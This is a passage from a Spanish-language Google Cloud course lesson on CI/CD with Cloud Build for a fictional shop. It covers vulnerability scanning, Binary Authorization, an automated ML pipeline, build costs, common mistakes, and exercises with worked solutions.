Para AlpinaShop hoy, con un servicio y dos entornos, Cloud Build basta y añadir Cloud Deploy sería complejidad sin beneficio. Se anota como el paso natural para cuando el catálogo se mueva a Cloud Run en 07-02, donde Cloud Deploy encaja especialmente bien porque el reparto de tráfico por porcentaje es nativo del servicio.

  1. Escaneo de vulnerabilidades y Binary Authorization

Construir la imagen no es lo mismo que construir una imagen segura. El Dockerfile del catálogo no usa root —bien, decisión del módulo 2— pero arrastra decenas de paquetes del sistema base y de PyPI, y cualquiera de ellos puede tener una vulnerabilidad conocida.

Artifact Registry analiza automáticamente las imágenes contra bases de datos públicas de vulnerabilidades, si la API está activada:

gcloud services enable containerscanning.googleapis.com --project=alpinashop-prod

# Consultar el resultado de una imagen concreta
gcloud artifacts docker images describe \
  europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:$COMMIT_SHA \
  --show-package-vulnerability --project=alpinashop-prod

Se puede añadir un paso al pipeline que falle si aparecen vulnerabilidades críticas, y ahí hay que tomar una decisión con la cabeza fría: bloquear por cualquier vulnerabilidad de cualquier severidad genera tantos falsos positivos que el equipo acabará desactivando la comprobación. Un criterio razonable para empezar es bloquear solo las críticas con corrección disponible y revisar el resto periódicamente.

Binary Authorization va un paso más allá y responde a otra pregunta: ¿cómo impido que se despliegue en producción una imagen que no ha pasado por el pipeline? Porque hoy, si alguien con permisos hace kubectl set image apuntando a una imagen construida en su portátil, el clúster la acepta encantado.

El mecanismo son atestaciones: el pipeline firma criptográficamente las imágenes que ha verificado, y una política en el clúster exige esa firma para admitir un despliegue.

flowchart LR
    A[Cloud Build:<br/>pruebas OK] --> B[Firma la imagen<br/>atestación 'probado-ci']
    B --> C[Artifact Registry]
    C --> D{Binary Authorization<br/>en alpinashop-prod}
    D -->|Tiene atestación| E[Despliegue admitido]
    D -->|Sin atestación| F[Despliegue RECHAZADO]
# policy.yaml (simplificado)
defaultAdmissionRule:
  evaluationMode: REQUIRE_ATTESTATION
  enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
  requireAttestationsBy:
    - projects/alpinashop-prod/attestors/probado-ci
clusterAdmissionRules:
  europe-west1.alpinashop-cluster:
    evaluationMode: REQUIRE_ATTESTATION
    enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
    requireAttestationsBy:
      - projects/alpinashop-prod/attestors/probado-ci

Es una pieza de madurez alta y no hace falta implantarla el primer día. Pero conviene entender qué resuelve, porque es la única forma de que la frase "a producción solo llega lo que ha pasado por el pipeline" sea una garantía técnica y no una norma de buena voluntad. La seguridad de la cadena de suministro de software se retoma en 07-04.

  1. El pipeline de ML del módulo 5, llevado al nivel 2

En 05-07 quedó una punta suelta explícita. El pipeline de recomendación de AlpinaShop está en nivel 1 de madurez: se ejecuta solo, valida solo y decide solo. Pero el código del pipeline —los componentes KFP, la lógica de entrenamiento— sigue subiéndose a mano: Lucía edita el componente, ejecuta el compilador de KFP en su portátil y sube el YAML resultante a Cloud Storage.

El nivel 2 consiste en que un cambio en el código de entrenamiento dispare automáticamente la compilación del pipeline, su ejecución en Vertex AI y, si supera las puertas, el despliegue del modelo. Es exactamente lo mismo que acabas de hacer con el catálogo, aplicado al código de ML:

# cloudbuild-ml.yaml, en el repositorio de ML de AlpinaShop
substitutions:
  _REGION: 'europe-west1'
  _BUCKET: 'alpinashop-datalake'

steps:
  # 1. Pruebas de los componentes: son código Python normal y se prueban igual
  - name: 'python:3.11-slim'
    id: 'pruebas-componentes'
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        pip install -r requirements.txt -t /workspace/lib
        PYTHONPATH=/workspace/lib python -m pytest tests/ -q

  # 2. Construir la imagen de entrenamiento, etiquetada con el SHA
  - name: 'gcr.io/kaniko-project/executor:v1.23.2'
    id: 'imagen-entrenamiento'
    waitFor: ['pruebas-componentes']
    args:
      - '--destination=europe-west1-docker.pkg.dev/alpinashop-datos/alpinashop/entrenamiento-reco:$COMMIT_SHA'
      - '--cache=true'
      - '--dockerfile=entrenamiento/Dockerfile'

  # 3. Compilar el pipeline KFP a su definición YAML
  - name: 'python:3.11-slim'
    id: 'compilar-pipeline'
    waitFor: ['imagen-entrenamiento']
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        PYTHONPATH=/workspace/lib python pipelines/compilar.py \
          --imagen-entrenamiento=europe-west1-docker.pkg.dev/alpinashop-datos/alpinashop/entrenamiento-reco:$COMMIT_SHA \
          --salida=/workspace/pipeline-reco.yaml

  # 4. Publicar la definición y lanzar una ejecución de validación
  - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
    id: 'ejecutar-pipeline'
    waitFor: ['compilar-pipeline']
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        gsutil cp /workspace/pipeline-reco.yaml \
          gs://${_BUCKET}/pipelines/reco/$COMMIT_SHA.yaml
        PYTHONPATH=/workspace/lib python pipelines/lanzar.py \
          --plantilla=gs://${_BUCKET}/pipelines/reco/$COMMIT_SHA.yaml \
          --etiqueta-commit=$SHORT_SHA

timeout: '2400s'

Lo importante no es el YAML, es el cambio de comportamiento que produce:

Antes (nivel 1) Después (nivel 2)
Lucía compila el pipeline en su portátil Lo compila Cloud Build en máquina limpia
Los componentes no tienen pruebas pytest sobre los componentes en cada cambio
La imagen de entrenamiento se etiqueta a mano Etiquetada con el $COMMIT_SHA
Nadie sabe qué código generó qué modelo El SHA está en el linaje, enlazado con 05-07
Un cambio llega a producción cuando alguien se acuerda Llega solo, si supera las puertas de decisión

Y fíjate en la conexión que cierra el círculo: la etiqueta $COMMIT_SHA de la imagen de entrenamiento acaba registrada en los metadatos de Vertex AI Pipelines. Eso significa que, ante la pregunta de auditoría "¿con qué código exacto se entrenó el modelo que hizo esta recomendación?", la respuesta ya no es una conjetura: es un commit concreto que se puede consultar en Git.

  1. Coste de las compilaciones

El modelo de precios de Cloud Build es simple: se paga por minuto de compilación, y el precio por minuto depende del tamaño de máquina. Hay una cuota gratuita mensual generosa para la máquina por defecto.

Órdenes de magnitud —verifica siempre los precios vigentes en la documentación oficial, porque cambian—:

Tamaño CPU / memoria Coste relativo por minuto Cuándo
Por defecto (e2-medium) 1 vCPU / 4 GB Base (con nivel gratuito) Pipelines cortos
E2_HIGHCPU_8 8 vCPU / 8 GB ~8× la base Compilaciones con muchas pruebas
E2_HIGHCPU_32 32 vCPU / 32 GB ~32× la base Compilaciones muy paralelizables
Grupo privado Según máquina Minutos + máquinas reservadas Acceso a VPC

Un cálculo orientativo para AlpinaShop: unas 15 compilaciones al día entre pull requests y merges, a 4 minutos de media en E2_HIGHCPU_8, son unos 60 minutos-máquina diarios, en torno a 1.800 al mes. Con la máquina por defecto una parte estaría cubierta por el nivel gratuito; con E2_HIGHCPU_8 el coste mensual está en el orden de decenas de euros. Comparado con el tiempo de ingeniería que ahorra, es de las inversiones más rentables de toda la plataforma.

Las cuatro palancas para controlarlo:

  1. Caché bien configurada. Es la que más ahorra, y además hace felices a los desarrolladores.
  2. --included-files en los disparadores. No compiles porque cambió un fichero de documentación.
  3. El tamaño de máquina adecuado. Más grande no siempre es mejor: si el cuello de botella es la red, pagas 8× por el mismo tiempo.
  4. Un timeout sensato. Sin él, una compilación colgada consume hasta 60 minutos antes de rendirse.

Errores Comunes y Consejos

Esperar que un paso vea lo que instaló el anterior fuera de /workspace. Es el error número uno. Cada paso es un contenedor nuevo: lo único que persiste es el directorio compartido. Si instalas dependencias, instálalas con --target=/workspace/... y propaga PYTHONPATH.

Etiquetar con latest. Ya se ha dicho tres veces y se dice una cuarta porque es el error con peores consecuencias: sin etiqueta inmutable no hay diagnóstico ni vuelta atrás. Usa $COMMIT_SHA siempre. Si además quieres una etiqueta legible, añade $SHORT_SHA o una versión semántica junto al SHA, nunca en su lugar.

Dejar la cuenta de servicio con permisos amplios "hasta que funcione". Ese "hasta que funcione" se convierte en permanente. Empieza restrictivo y añade permisos concretos según fallen los pasos: cada fallo te dice exactamente qué permiso falta, y así acabas con la lista mínima real en lugar de con Editor.

No comprobar que el despliegue converge. kubectl set image devuelve éxito en cuanto Kubernetes acepta la orden. Si los pods nuevos fallan al arrancar, tu pipeline se pone verde mientras la aplicación está rota. kubectl rollout status --timeout=... es obligatorio.

Usar un solo dólar en secretEnv. $MI_SECRETO lo intenta sustituir Cloud Build y lo deja vacío; $$MI_SECRETO llega al shell. Y nunca imprimas el valor: los logs no se censuran.

Copiar el código antes de instalar dependencias en el Dockerfile. Invalida la caché en cada commit. Ordena las instrucciones de lo estable a lo volátil.

Olvidar logging: CLOUD_LOGGING_ONLY al usar cuenta de servicio propia. Fallo inmediato con un mensaje poco descriptivo. Es de los primeros que aparecen al hacer bien las cosas.

Pipelines lentos. Si la CI tarda veinte minutos, el equipo dejará de esperarla y fusionará sin mirar. Trata la duración del pipeline como una métrica de producto: paraleliza con waitFor, usa caché, y si hace falta separa las pruebas rápidas —en cada PR— de las lentas —nocturnas—.

Consejo final: empieza pequeño. Un pipeline que solo ejecuta las pruebas en cada pull request ya aporta la mayor parte del valor. Añade construcción, después despliegue a desarrollo, después promoción a producción. Un pipeline perfecto que tarda tres meses en estar listo pierde frente a uno modesto que funciona el viernes.

Ejercicios

Ejercicio 1: paralelizar y acortar el pipeline

El pipeline del catálogo tarda 9 minutos: instalar 2, pruebas 3, lint 2, construir 2. Marta se queja de que los pull requests tardan demasiado en dar veredicto. Reescribe la sección steps para minimizar el tiempo total, calcula la duración teórica resultante y explica qué otras dos medidas —una en el cloudbuild.yaml y otra en el Dockerfile— reducirían más el tiempo.

Ejercicio 2: diseñar los permisos de un pipeline nuevo

AlpinaShop quiere un pipeline que, al crear una etiqueta Git v*, construya la imagen, la publique en Artifact Registry, ejecute las migraciones de base de datos sobre alpinashop-pedidos en alpinashop-prod y despliegue en producción tras aprobación. Enumera las cuentas de servicio que crearías, los roles exactos de cada una y justifica por qué no usarías una sola. Señala además el mayor riesgo de seguridad del enunciado.

Ejercicio 3: diagnosticar una compilación que engaña

El pipeline lleva dos semanas en verde. Un cliente reporta que el buscador del catálogo falla desde hace diez días. Al investigar descubres tres cosas: la cobertura de pruebas es del 71 % y el buscador no está cubierto; el paso de despliegue termina con éxito pero la versión desplegada en alpinashop-dev es de hace tres semanas; y en producción hay una imagen que nadie sabe de dónde salió. Explica la causa más probable de cada hallazgo y qué cambio concreto en el pipeline habría impedido cada uno.

Soluciones

Solución 1

Pipeline reescrito. La observación clave es que pruebas y lint solo dependen de instalar, no entre sí:

steps:
  - name: 'python:3.11-slim'
    id: 'instalar'                    # 2 min
    entrypoint: 'bash'
    args: ['-c', 'pip install -r requirements.txt -r requirements-dev.txt --target=/workspace/lib']

  - name: 'python:3.11-slim'
    id: 'pruebas'                     # 3 min, en paralelo con lint
    waitFor: ['instalar']
    entrypoint: 'bash'
    env: ['PYTHONPATH=/workspace/lib']
    args: ['-c', 'python -m pytest -q']

  - name: 'python:3.11-slim'
    id: 'lint'                        # 2 min, en paralelo con pruebas
    waitFor: ['instalar']
    entrypoint: 'bash'
    env: ['PYTHONPATH=/workspace/lib']
    args: ['-c', 'python -m ruff check catalogo/']

  - name: 'gcr.io/kaniko-project/executor:v1.23.2'
    id: 'construir'                   # 2 min
    waitFor: ['pruebas', 'lint']
    args: ['--destination=${_REPO}/catalogo:$COMMIT_SHA', '--cache=true']

Duración teórica: 2 + max(3, 2) + 2 = 7 minutos, frente a 9. Se ahorran 2 minutos, el tiempo del lint, que ahora es gratis porque cabe dentro del de las pruebas.

Se puede hacer bastante mejor. El paso de construcción también depende solo del código, no de que las pruebas hayan pasado. Si lo lanzas en paralelo con waitFor: ['-'] desde el principio, el tiempo total baja a 2 + 3 = 5 minutos. La contrapartida es que construyes una imagen que quizá tires si las pruebas fallan, lo que cuesta 2 minutos de máquina. En un pull request, donde la imagen no se publica, es un intercambio razonable: pagas un poco de cómputo para dar veredicto antes.

Medida en el cloudbuild.yaml: subir el machineType a E2_HIGHCPU_8. Los 3 minutos de pytest suelen ser CPU pura y bajan sensiblemente con más núcleos, sobre todo si además añades pytest -n auto con pytest-xdist para paralelizar las pruebas dentro del paso.

Medida en el Dockerfile: reordenar para que COPY requirements.txt y la instalación vayan antes de COPY . /app. Con kaniko y --cache=true, la capa de dependencias se reutiliza en todas las compilaciones donde no cambien las dependencias, que son la inmensa mayoría, y los 2 minutos de construcción se convierten en segundos.

Y el consejo que envuelve todo el ejercicio: mide antes de optimizar. La consola de Cloud Build muestra la duración de cada paso; los 9 minutos podrían ser 7 de descarga de una dependencia gigante, y en ese caso ni el paralelismo ni la máquina grande cambiarían nada.

Solución 2

Cuatro cuentas de servicio, una por responsabilidad:

Cuenta Roles Ámbito
sa-build-catalogo artifactregistry.writer, logging.logWriter Repositorio alpinashop en alpinashop-prod
sa-migraciones-prod cloudsql.client, secretmanager.secretAccessor sobre db-password-catalogo Instancia alpinashop-pedidos
sa-deploy-prod container.developer Solo el proyecto alpinashop-prod
sa-build-dev artifactregistry.writer, container.developer en alpinashop-dev Entorno de desarrollo

Por qué no una sola: porque una cuenta única sería la unión de todos los permisos, y cualquier paso del pipeline podría hacer cualquier cosa. Con la separación, el paso que ejecuta las pruebas no puede tocar la base de datos de producción aunque alguien inyecte código malicioso en él; el paso de migraciones no puede desplegar; el de despliegue no puede leer secretos. Es el mismo principio de segregación de funciones de 03-04, aplicado dentro de un proceso automático. Y hay un beneficio operativo añadido: cuando aparece en los logs de auditoría una operación rara, la identidad te dice inmediatamente qué parte del pipeline la hizo.

El mayor riesgo del enunciado son las migraciones de base de datos, y no es un problema de permisos. Una migración es la operación menos reversible de todo el pipeline: si kubectl set image sale mal, se vuelve atrás en treinta segundos; si un ALTER TABLE borra una columna, los datos no vuelven. Cuatro medidas concretas:

  • Copia de seguridad automática y verificada inmediatamente antes de la migración, como paso del pipeline que falla si no se completa.
  • Migraciones compatibles hacia atrás: añadir columnas antes de usarlas, no borrar nunca en el mismo despliegue que deja de usarlas. Así la versión anterior de la aplicación sigue funcionando con el esquema nuevo, y la vuelta atrás es posible.
  • Ejecutar primero en alpinashop-dev con una copia reciente de datos de producción, y que la compilación falle si allí no funciona.
  • Aprobación manual antes del paso de migración, no solo antes del despliegue.

Y una advertencia sobre el disparador por etiqueta: cualquiera que pueda crear una etiqueta v* en el repositorio dispara este pipeline. La protección de etiquetas en Git es tan importante como la de ramas, y es un tema de 06-02.

Solución 3

Hallazgo 1: cobertura del 71 % con el buscador sin cubrir. La causa es que el umbral --fail-under=70 está midiendo lo que no importa: mide el porcentaje global de líneas, y un porcentaje global alto es perfectamente compatible con que las partes críticas estén al 0 %. El pipeline estaba en verde diciendo la verdad sobre una métrica irrelevante.

Cambio concreto: umbrales por módulo además del global, exigiendo cobertura alta en los paquetes críticos:

python -m coverage report --fail-under=70
python -m coverage report --include='catalogo/buscador/*' --fail-under=85

Y, más importante que el umbral, una prueba de humo posterior al despliegue que ejerza los caminos principales de la aplicación contra el entorno recién desplegado. Que el código esté cubierto no garantiza que el sistema funcione; una petición real al buscador, sí.

Hallazgo 2: el despliegue "con éxito" tiene tres semanas. Casi con seguridad falta el kubectl rollout status. Los pods nuevos arrancan, fallan, Kubernetes mantiene el ReplicaSet anterior sirviendo tráfico, y el paso del pipeline terminó con éxito en cuanto se aceptó la orden. Todo verde, nada desplegado. Es el fallo más traicionero de este apartado porque el sistema te está mintiendo activamente.

Cambio concreto: añadir kubectl rollout status deployment/catalogo-web -n tienda --timeout=180s como parte del mismo paso, más una verificación posterior que compruebe que la imagen realmente en ejecución coincide con la esperada:

DESPLEGADA=$(kubectl get deployment catalogo-web -n tienda \
  -o jsonpath='{.spec.template.spec.containers[0].image}')
test "$DESPLEGADA" = "${_REPO}/catalogo:$COMMIT_SHA" || { echo "Imagen inesperada: $DESPLEGADA"; exit 1; }

Hallazgo 3: una imagen en producción que nadie sabe de dónde salió. Alguien desplegó a mano, saltándose el pipeline. Es lo que ocurre siempre cuando el pipeline no es el camino más cómodo: si el despliegue automático está roto —hallazgo 2— y hay una urgencia, alguien abrirá un terminal.

Cambio concreto: Binary Authorization con atestación emitida por el pipeline, que hace técnicamente imposible desplegar una imagen no verificada. Como medida intermedia mientras se implanta, retirar roles/container.developer sobre alpinashop-prod a las personas y dejarlo solo en sa-deploy-prod, con acceso de emergencia mediante impersonación registrada, tal como se planteó en 03-04.

La lección que unifica los tres hallazgos: un pipeline en verde no significa que el sistema funcione. Significa que las comprobaciones que escribiste han pasado. Si esas comprobaciones miden lo que no importa, si no verifican el resultado real del despliegue y si el pipeline se puede rodear, el color verde es peor que no tener pipeline, porque genera una confianza que nadie ha ganado. Los tres hallazgos, además, comparten un origen común: nadie estaba mirando. Ni las métricas, ni los logs, ni el estado real de producción. Esa es la carencia que se ataca en 06-04 y 06-06.

Conclusión

AlpinaShop ha dejado de desplegar desde el portátil de Dani.

Sabes distinguir integración continua —integrar a menudo y verificar cada integración—, entrega continua —estar siempre listo para desplegar, con un botón— y despliegue continuo —sin botón—, y sabes por qué AlpinaShop implanta las dos primeras y aplaza la tercera hasta tener la red de seguridad que dan las pruebas y la observabilidad.

Conoces el modelo de Cloud Build: una secuencia de pasos, cada uno un contenedor, sobre un /workspace compartido, con la consecuencia práctica de que solo persiste lo que se escribe en ese directorio. Sabes leer y escribir un cloudbuild.yaml campo a campo —steps, name, args, env, id, waitFor, substitutions, images, artifacts, options, timeout—, paralelizar con waitFor porque la velocidad del pipeline decide si el equipo lo usa, y aprovechar $PROJECT_ID y $COMMIT_SHA, con la advertencia de que solo tienen valor cuando la compilación viene de un disparador.

Tienes el pipeline real del catálogo: instalar en /workspace/lib, probar con pytest y un umbral de cobertura que hace fallar la compilación, analizar con ruff y bandit en paralelo, construir con kaniko y caché, publicar en Artifact Registry etiquetado con el SHA y nunca con latest, y desplegar en alpinashop-dev comprobando que el despliegue converge de verdad. Ejecutándose en alpinashop-cicd, el proyecto que por fin tiene sentido.

Sabes por qué tu build tarda ocho minutos y cómo bajarlo: caché de kaniko, --cache-from con su || true, y sobre todo un Dockerfile ordenado de lo estable a lo volátil. Conoces los disparadores por rama, por pull request, por etiqueta y manuales, y el filtro --included-files que evita compilar por una errata en el README.

Y tienes lo que más disgustos evita: la cuenta de servicio de Cloud Build con permisos mínimos, tres roles y ni uno más, porque el pipeline es el sistema con más privilegios de toda la infraestructura y el antipatrón de darle Editor convierte cualquier pull request en un vector de ataque. Sabes inyectar secretos con availableSecrets y $$, sin que acaben en Git ni en los logs. Sabes promocionar en lugar de reconstruir, con aprobación manual y una cuenta de servicio distinta para producción. Conoces los grupos privados para compilar dentro de la VPC, Cloud Deploy para cuando el despliegue se complique con canarios y varios entornos, el escaneo de vulnerabilidades de Artifact Registry y Binary Authorization como única forma de que "a producción solo llega lo del pipeline" sea una garantía y no un deseo.

Y has cerrado la primera punta suelta del módulo 5: el pipeline de ML está en nivel 2 de madurez, con los componentes probados, la imagen de entrenamiento etiquetada con el commit y el linaje respondiendo con un SHA concreto a la pregunta de con qué código se entrenó cada modelo.

Queda, sin embargo, una pregunta incómoda que hemos ido esquivando durante toda la lección. Todo esto se dispara desde un repositorio. ¿Qué repositorio? Porque el código del catálogo sigue viviendo en el portátil de Dani, y hay ficheros de configuración en una carpeta de Drive que alguien compartió hace año y medio. Un pipeline de integración continua sin un control de versiones serio es una casa construida sobre arena.

En 06-02 ponemos el cimiento: repositorios, estrategia de ramas, qué debe y qué no debe estar versionado, y la conversación honesta sobre Cloud Source Repositories frente a GitHub y GitLab.

Curso de Google Cloud Platform (GCP)

Módulo 1: Introducción a Google Cloud Platform

Módulo 2: Servicios principales de GCP

Módulo 3: Redes y seguridad

Módulo 4: Datos y análisis

Módulo 5: Aprendizaje automático e IA

Módulo 6: DevOps y monitoreo

Módulo 7: Temas avanzados de GCP

Módulo 8: Proyecto final

© Copyright 2026. Todos los derechos reservados